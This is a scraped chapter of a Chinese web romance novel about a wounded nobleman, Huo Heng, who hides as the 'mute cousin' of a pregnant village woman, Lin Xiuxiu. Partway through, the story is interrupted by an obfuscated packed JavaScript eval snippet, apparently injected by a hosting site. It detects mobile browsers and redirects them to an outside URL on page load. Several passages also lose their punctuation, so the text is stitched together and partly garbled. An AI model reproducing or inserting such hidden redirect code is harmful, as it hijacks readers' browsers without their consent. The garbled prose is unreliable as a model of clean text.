第22章
作品:《外室》 022“你叫什么名字?”
来人一眨不眨的盯着眼前两个女子,希望她们说点有用的出来,好回去交差。
杨大嫂看看画像,又瞅瞅她,忽然兴奋的说:“诶,秀秀,是不是有点像你表哥?”
画像上的男子长得清隽冷肃,是个好看的人。林秀秀凑近仔细看,眉眼一弯,笑说:“是有点像,不过我表哥腿瘸了,你是找他吗?”
来人打量林秀秀,神情变得不耐烦,谁都知道,霍珩是有表妹,但不可能是眼前的乡野女子,居然说像她表哥,想钱想疯了。他一把将画像拿回来,没好气的说:“走走,耽误老子时间。”
语气凶得很,她和杨大嫂愣了一下,等人一走,表情也不好看。
“呸,什么玩意,狗都嫌。”
“就是。”求人帮忙态度还差,当贫穷的人没自尊啊。
林秀秀也不满,望着那人的背影,想着就他这态度,哪能找到人,不被人骂一顿都是好的。
插曲过后,两人很快就忘了,站在门口聊得高兴,话锋一转,杨大嫂提到了她表哥:“你表哥伤好些了没有?”
“没那么快,可能是经历一场大劫,情绪不大好。在里边休息呢。”
杨大嫂略有担忧,“肯定的,好不容易从山贼那里捡回一条命,估计吓到了,是要好好休息。”
杨大嫂爽朗,又爱帮助人,这段日子没少帮她。
“不妨事,养养就好了,有事在院子喊一声就成,我听得到。”
“行,到时候别嫌我麻烦。”
杨大嫂笑着回去忙自己的事,林秀秀也转身进去,将半人高的院门合上,稍稍挡住外人窥探的目光。
那时找不到康伯,身上银子也不多,便想着先找个住处,靠近南街那边的房子贵,她身上钱不多,还要生活,只能住远一点,便找到这里。
汴京城边缘的村子,银子少花了许多,就是安全性不好,时常有地皮流氓在院子外窥探,看她一个女子住,偶尔攀在墙上看,要不就是路过的时候往里看,要是她正好在院子里,就会冲着她露出猥琐的笑。
所以没事她不出门,也幸好她有个好邻居,杨大嫂一家着实帮了她很多,她很感激。
现在家里多了一个人,林秀秀挺高兴的,感觉自己没那么孤单,也没那么害怕。虽然男人来历不明,不怒不笑,但感觉不是坏人,也不会害她。
他在隔壁房间住了两三
日,林秀秀就习惯了,进门就往左边看,然后走过去。
霍珩方才紧张得很,拖着受伤的身体起床,刚想下床,又听那人走了,这才如释重负,躺回去。不过也因此疼的脸色发白,额头冒汗。
林秀秀站在床边看,以为他热,便把窗开大写,说:“我跟邻居说,你是我表哥,来投靠我,路上遇到山贼了。旁人问起,别说错了。
她也不想撒谎,可有时候撒谎能保护自己。她一个弱女子,自然得为自己考虑。
林秀秀看他,见他轻轻点头,便知他答应了。
霍珩观她一日,她救了自己,刚才又帮了自己,或许是他多想了,眼前的女子只是出于善良,才救了自己,并无其他。她说的借口,对自己也有好处,没理由不同意。
霍珩面色如常,看着她出去,闭上眼睛想休息,结果听见她进来,又睁眼。
她手里多了一根棍子,木头的,还挺粗。男人皱眉,刚打消的疑心又涌上来,眼神一下狠厉几分。
“给你根棍子,要是有事,你就敲几棍子。她把棍子放在床头能拿到的地方。
她用行动表示对他的关心。
躺在床上的男人却皱起了眉,有点不情愿的感觉,这是彻底将他当成废人了。霍珩无奈闭眼,默默承受。虽说是为他好,但此举让霍珩心里不舒坦。
林秀秀才不管呢,自认为自己做的够好了,为他考虑周到,谁让他不会说话,要是在房里渴死怎么办?
-
忙了一早上,林秀秀早饿了,肚子咕咕叫,孩子估计也饿了。她自己先吃,然后再去给他吃。
早上喝粥,咕嘟咕嘟的,霍珩刚来的睡意,就被这声响吵醒了。狭长的眼眸睁开,微微偏头,就看见坐在大厅的人,正在喝粥。
要不说房间没门不方便,特别是这间房,偏头就能看见大厅的人,毫无隐秘可言,有点什么事都能看见。还有,霍珩就没见过有人家的床头正对房门的。
只有她家是这样。
女子吃完把桌子收拾了,随后去院子里。
兴许是躺在床上无聊,无聊到,他的眼睛总是盯着她,看她进进出出,从中找到了一点乐趣,打发无聊的时间。
女子进门后朝他走来,手上拿着碗和勺子,冒着热气,是粥吧。他确实饿了,昨晚戒备心太重,不想吃她的东西,现在疑心消了大半,自然得吃点。
林秀秀坐在床边,先吹吹
,细心又温柔。
她好像很会照顾人,对待病人也很熟练。
霍珩正想着,勺子就到了嘴边,香是香的,但是入口的味道…怎么是甜的?
男人眉头立马皱起来,不明所以的注视她,似乎在询问。林秀秀察觉到了,笑嘻嘻的表示:“我怕粥没味道,你吃不下,就放了点糖,怎么样?好吃吧。”
紧皱的眉头舒展,很是无奈的表情。罢了,吃点算了,吊着命重要。
一碗粥吃了半碗,霍珩就不想吃了,实在太甜了,不知放了多少糖。
一日下来,不是喝粥就是喝药,霍珩吃了三天就烦了,但她说:“大夫说伤口没愈合,只能吃点清淡的。”
所以现在,等稍微好点才能吃其他的。
霍珩对此没什么表情,反正他现在是个哑巴,不能说话。
在小院住了三五日,霍珩逐渐适应,腿上的伤口好了很多,双脚能动,但肩膀的伤依旧严重,稍微动一下就疼,怕是要再躺着十天左右。
九月天气还是有点热,晚上要洗漱干净才能睡得安稳。每到天黑,林秀秀就一盆一盆的往房间打水沐浴,而这个时候,霍珩就装睡,装不知道,避免两人尴尬。
隔着一个客厅,他听见了水声,呼啦啦的响,奇怪的感觉,一个陌生的女人在隔壁沐浴,自小的教养告诉他,非礼勿视非礼勿听。他该心如止水,当没听见。
可是为何,心跳会加快?
霍珩抬起左手擦拭额头的汗,忽然想起来,自己几天也没沐浴,身上难受得很。他自己不能动手,只得她照顾,她又是女子,男女有别,不好麻烦人家,罢了,忍着吧。
男人叹气,不知何时,耳边的水声停了,过了半刻,隔壁打开房门,咯吱一声,有人出来。霍珩随即闭眼,装作熟睡的模样。
可能因为力气小,一次提不动太多水,便一点一点的往外抬。来回几次,还没弄完。林秀秀忙自己的事,无暇顾及他,而霍珩也在她进进出出的动静下,渐渐忘记装睡。
男人微微偏头,正巧撞见她进门,穿着米白色的里衣,贴在身上,身姿妖娆,身前柔软丰盈,随着动作微微颤动,依稀能看见凸起小
点。倏地,霍珩脸一下发烫发热,有股热意往上涌,将他灼的难受。
男**口喘气,随即收回视线闭上眼睛,忍着肩膀的剧痛翻身,背对着门口。心跳依然剧烈,缓了许久恢复平静。
这是怎么了?莫非是寂寞了?
霍珩冷笑,面上冷着,和往日一般无二。
隔壁的动静小了许多,不再进进出出,应该是忙完了,接着,他又听见打水的声音,她又在做什么?
霍珩等了会,然后就听见慢慢靠近的脚步声。
屋内光线暗,一盏油灯,洒满整个房间,老旧的墙壁,却也温馨。
林秀秀看见他翻身了,不由得皱眉,因为他伤口没好,贸然翻身伤口会疼,他是怎么翻身的?
“睡了吗?
本来想装睡,奈何身体诚实,话音刚落,他的身体就动了,轻轻的转过来,平躺着。
她笑了,眉眼弯的好看,水盈盈的,潋滟动人,她确实貌美,霍珩不得不承认。这会穿好衣裳,满身干净清爽的味道,裹着淡香,属实撩人。男人不动声色移开视线,看向别处。
“我帮你洗漱。
话是这么说,但林秀秀只给擦了手和脸,至于别的地方,她为难。
捏着帕子的手紧了紧,尴尬道:“那个,明天换药的时候再帮你擦。
说完端着盆出去,没把灯吹灭,是怕他看不见吧。
大门紧闭,大厅也暗下来,此刻是彻底安静,她的呼吸声也听不见。
霍珩却没了睡意,在思忖着要不要托她带个信,这个想法刚冒出来就打消了,他们的之间的信任是个问题,霍珩更怕节外生枝。江长原的人还在找他,不如等自己伤好,再回去也不迟。
男人心情平静的望着头顶,想着了许多,忽然,外边有了轻微的动静。起先以为自己听错了,细听,好像是石头碰撞墙壁的声音。
提起的心随即放下,江长原的属下不会无聊到扔石头试探,那会是谁?
霍珩往窗口看,很是好奇,过了片刻,隔壁传来杨大嫂的声音。
“哪个**的吵老娘睡觉,想死啊。
一阵跑步声远去,应该是那人跑了。
林秀秀打开门出来,从门缝中往外看,外边已恢复平静,刚才的响声似乎是错觉。她捂着胸口喘气,幸好杨大嫂及时出声,不然又有的烦。
林秀秀往对门瞅了眼,男人眼睛闭着,呼吸均匀,睡得恬静。她过去把灯灭了,接着回房睡觉。
黑暗中的人倏地睁眼,偏头盯着她看。对于刚才的一切,霍珩明白了,原来是地皮流氓,难为她一个弱女子,整日为自己的安全担忧,想必也烦的很。
-
清晨霍珩又是在檀香味中醒来她的习惯奇怪早晨先拜佛弄得满屋子的檀香味不好闻。
霍珩动动脚没有疼痛感再看自己肩膀比前几日好些了。身体恢复指日可待。
余光瞥见林秀秀抱着盆出去应该是洗衣服在她家住了几日她的习惯摸个大概。等洗好衣服她就会生活做饭然后给他换药。
说到换药昨天怎么说的?
换药的时候帮他擦拭这么一想霍珩就不自在表情微妙喉咙也隐隐发痒。他吞咽下压下异样的感觉。
外边响起水声和说话的声音似乎是杨大嫂来串门了女人就是话多一聊天就停不下来能聊一早上。
霍珩继续睡觉等他再睁眼床边立着一个高大的男人皮肤黝黑笑起来憨厚。
“我是隔壁的我看着比你大些叫我杨大哥就行了。”
哦原来是杨大嫂的男人。
霍珩正想开口杨大哥又道:“秀秀让我给你换药你放心我手轻不会弄疼你的。”
男人张唇下意识朝门口看没看见那女人所以她说给自己换药临时变卦了。刚才在外头和杨大嫂聊天就是说这事。
霍珩觉得自己有毛病居然因为昨晚的话感到不自在现在想来自己像是傻子。
杨大哥边换药边说:“秀秀叮嘱过了你这药三天一换
霍珩咬牙没吭声暗想这人嘴上说手轻不想手重得很伤口疼的厉害疼的他脸色发白。
好不容易换好药杨大哥又去拧帕子笑说:“来顺便帮你擦擦现在天热你整日躺着身上也难受都是男人不要紧。”
霍珩张唇来不及反应杨大哥就伸手过来霍珩捂着脸表情难看。
“哟真不错。”
霍珩遮住眼躺着一动不动尴尬难堪。
忙活了一阵杨大哥端着盆出去交差朝着门口的林秀秀笑道:“你表哥真不错。”
林秀秀皱眉哪不错那人冷得很连个多余的表情都没有从哪看出不错了?
她没说话倒是身旁的杨大嫂好奇的问:“表哥哪里不错?”
杨大嫂随口一问杨大哥却黑脸语气不善的回了句:“跟你有什么关系就你话多。”
说完人回了隔壁院子。
“找死啊嫌我话多我还不能说话了?”
林秀秀看两人斗嘴,抿着唇,更不出声了。杨大嫂边走边说:“秀秀,我先回去了。”
人还没到家,声音就到了,“把话说清楚,不然今天别想好过。”
他们虽吵吵闹闹,却也幸福,过日子嘛,不就是这样,有时她也羡慕。
林秀秀回头把门合上,去前面村头买点馒头吃,前两日腌的咸菜好了,等会就着馒头吃。
顺便买点鱼肉,他的伤口好了些,能吃鱼肉了。
林秀秀走了趟,腰就有点酸,身体跟之前没法比,可能旁人怀孕也这样。她低头摸摸肚子,暗想自己快三个月了,其他地方倒是大了不少,唯独肚子微微鼓起,没大多少,是不是她吃的太少了?
她现在怀孕看不出来,旁人最多以为她鼓起的肚子是吃的多了点,没往别的地想,时日久了,就能看出来。
看出来就看出来,从不能绑着肚子。
回来就进厨房,把腌好的咸菜洗洗,然后放锅里炒,至于买的鱼,就给他清蒸,口味清淡些,对伤口好。
肚子饿的难受,她端着碗先吃,一口馒头一口菜,吃的很香。
霍珩沉脸看着,这女人耍了他一把,居然吃的下去。要是早说让旁人给他换药擦身体,他也不至于没准备,简直是丢脸。
心里恨得牙痒痒,眼睛却没离开一下,目不转睛的盯着她看,她吃东西不粗鲁,小嘴一张一合,红润的唇瓣赏心悦目。就是习惯不好,吃馒头居然同时喝水,他的目光往下,落在鼓起的小腹上,难怪小腹肉多。
美丽柔美的女子,一个人过得如此艰辛,不是喝粥就是馒头咸菜。男人眼底闪过一丝怜惜。
青绿的身影出门,又进门,端来一盘鱼和一碗饭,语气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608343|160296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温柔,似乎在哄他。
“现在能吃菜了,我手艺还行,你尝尝。”
霍珩无所谓,吃了这么些天的甜粥,没什么是不能接受的,手艺差也不打紧,没毒就好。
“张嘴。”
霍珩偏头一看,看见一大块鱼肉,还是挑了鱼刺的那种,他不解的看向她,不是吃咸菜嘛,哪来的鱼?
林秀秀以为他是担心自己手艺不好,于是道:“鱼新鲜,很好吃。”
“快点,凉了味道就变了。”
霍珩凝睇她,在她笑盈盈的脸庞下张嘴,心底有什么在悄悄变化。说实话,鱼不错,但霍珩也在意,满脑子想的都是她为何自己不吃?
对一个萍水相
逢的人这么好,值得吗?
思绪繁杂,不知不觉,就吃完了。林秀秀满足的收拾碗筷出去,没察觉男人微妙的眼神。
午时喝了药,霍珩没睡,看见林秀秀出门,过了片刻就回来了,和杨大嫂在外边说话。
“秀秀,买这么多青菜做什么?一个人也吃不完。”
“今天正好便宜,就多买点,腌咸菜吃,过两天送你点。”
杨大嫂趴在她家的墙上,爽朗的表示:“
好啊,肯定比吴老太弄得好吃。”
她在洗菜,两人就隔着两道墙聊天,倒也方便。
洗好的才晾在外边,等水分干了再收进去。
这两天,霍珩吃的鱼肉,她自己,不是青菜就是咸菜,看的霍珩于心不忍。
他也很想说,吃馒头的时候别再喝水了,肚子会胀。
又过了几天,霍珩能翻身,好了不少。午后犯困,便安静躺着睡会,睡得迷迷糊糊时,听见脚步声在靠近。声音很轻,是女子,是她吗?
趁他睡着了要做什么?这段时间对他好,只是为了让他打消对她的疑心。
之前都是装的吗?
霍珩情绪起伏,但沉得住气,依旧没动一下,林秀秀进来后先查看他是否睡着了,见他真的睡了,便蹑手蹑脚的去了墙边。
霍珩睁眼,面色阴沉的可怕,紧紧盯着她。林秀秀弯腰打开米缸,然后在里边翻来找去。男人皱眉,她在米里面翻什么,里面有什么重要东西?
正想着,林秀秀动作一顿,从里面拿出个灰色的钱袋子,打开数了数。
她背对着霍珩,完全没发现男人已经醒来,正在看着她。
“一两,三两,五两。”
她低声数钱,小脸满是苦恼,“只有十五两了。”
这些银子能撑到找到康伯吗?要不把簪子卖了,撑一段时间。毕竟生活重要,别苦了她和孩子。
她拿了一点银子出来,把剩下的放回去,藏在米缸里。她回头瞅了眼,做贼似的,把盖子盖好,又蹑手蹑脚出去。
霍珩盯着跟贼似的女人,扯着唇角轻笑,笨蛋,居然将银子藏在米缸里。他翻个身,为自己刚才的想法愧疚。
可过了一会,霍珩又笑不出来,她没银子了,还整日大鱼大肉给他吃,怎么不省着点?
说不上什么情绪,只是觉得过于善良不是好事,特别对于银钱不多的人家。
霍珩又翻个身,眼睛直直的望向对面那
道门,看了很久很久。
-
昨晚睡得不好,睡到半夜又听见有人往院里扔石头,其中一下扔在门上,砸的门巨响。林秀秀是不敢出门看,倒是霍珩,拖着受伤的身体开门看了眼,没瞧见人才回去睡觉。
普通女子,长得太美不是好事。
早起又是一阵檀香味,霍珩闻到就醒了,见怪不怪,翻身继续躺着。
早上吃的清淡些,是小笼包,林秀秀出去买的。霍珩倚靠在床头,木板硌的后背疼,一动床就响,听着刺耳。
他望着来人,唇瓣张合,对她说了第一句话:“多谢。
林秀秀把碗放在一边,闻言震惊的瞪大眼,瞅着他半响才开口:“你会说话,不是哑巴。
“嗯,前些日子嗓子不大舒服。
他找了个借口。
她哦了声,手捏着衣袖,紧张又期盼的眼神看他,“你叫什么名字?
寻常的问候,并无异常。霍珩却不想告诉她真名,怕带来麻烦。
“王齐。
话落,林秀秀顿了下,露出的笑容勉强。意想之中的失落,早就知道的。
她不知道公子的名字,但也知道不姓王,因为康伯姓王,下人不能和主家一个姓。
他们只是有些地方像罢了。
“王大哥,你自己吃吧。
她的情绪来的快,让人摸不着头脑,回到房间门一关,一上午没出来。
霍珩就那么看着,看的眼睛发酸,累得困了,才勉强睡会。
就在霍珩睡着的时候,一个人从门前路过,在杨大嫂家停下。
“大嫂,帮个忙。王齐低头看嗑瓜子的妇人,从怀里拿出一张画像,问:“见过这个人没有?
杨大嫂睨了眼,表情立马不耐烦,“又是你们,跟你说了长得像隔壁家的表哥,你又不信。
王齐眼睛一亮,“那人在哪?能能否带我见见。
“哑巴表哥在睡觉,现在不行。
一听是哑巴,王齐又失望的垂头,“是哑巴,打扰了,他不是我要找的人。
杨大嫂被他弄懵了,今天怎么这么有礼貌?见鬼了。
她吐了瓜子壳,转头就去找林秀秀。
“秀秀,秀秀。
日光好,衬得她肌肤剔透无暇,也让那双微红的眼睛更显眼。
“杨大嫂,你找我有事?
杨大嫂往她手里塞了点瓜子,说:“上回找人的又来了,这次态度还挺好,奇怪。
她握着瓜子没嗑,说:“估计态度不好,找不到人。
“兴许是,管他呢,跟咱们无关。
两人凑在一块聊天,聊着聊着下起了小雨,便各自回家。
下雨不好出门,只能在家待着,闲着无聊,就做针线活打发时间。她坐在客厅,身子一歪就能看见他,秀秀想找他聊天,结果看见他在睡觉,于是作罢。
等她一低头,身在暗处的人又睁眼,直勾勾的朝她看。
林秀秀一直不知道。
晚上用饭前,霍珩喊了她一声,那张俊脸瞅着她,薄唇张合,欲言又止。
等了一会,林秀秀等的不耐烦,问:“你想说什么?是不是不舒服,要找大夫?
“不是。回答的倒是快。
“那是什么?
喉结滚动,说句话竟然紧张,霍珩一咬牙,说:“吃馒头的时候别喝水,会肚子胀。
“啊。
林秀秀愣了好久反应过来,他误会自己了,以为肚子多出来的肉肉是吃馒头胀的。林秀秀忽然觉得他不聪明,吃馒头怎会胀这么多。
不过她也不想解释,误会就误会吧,孩子跟他又没关系。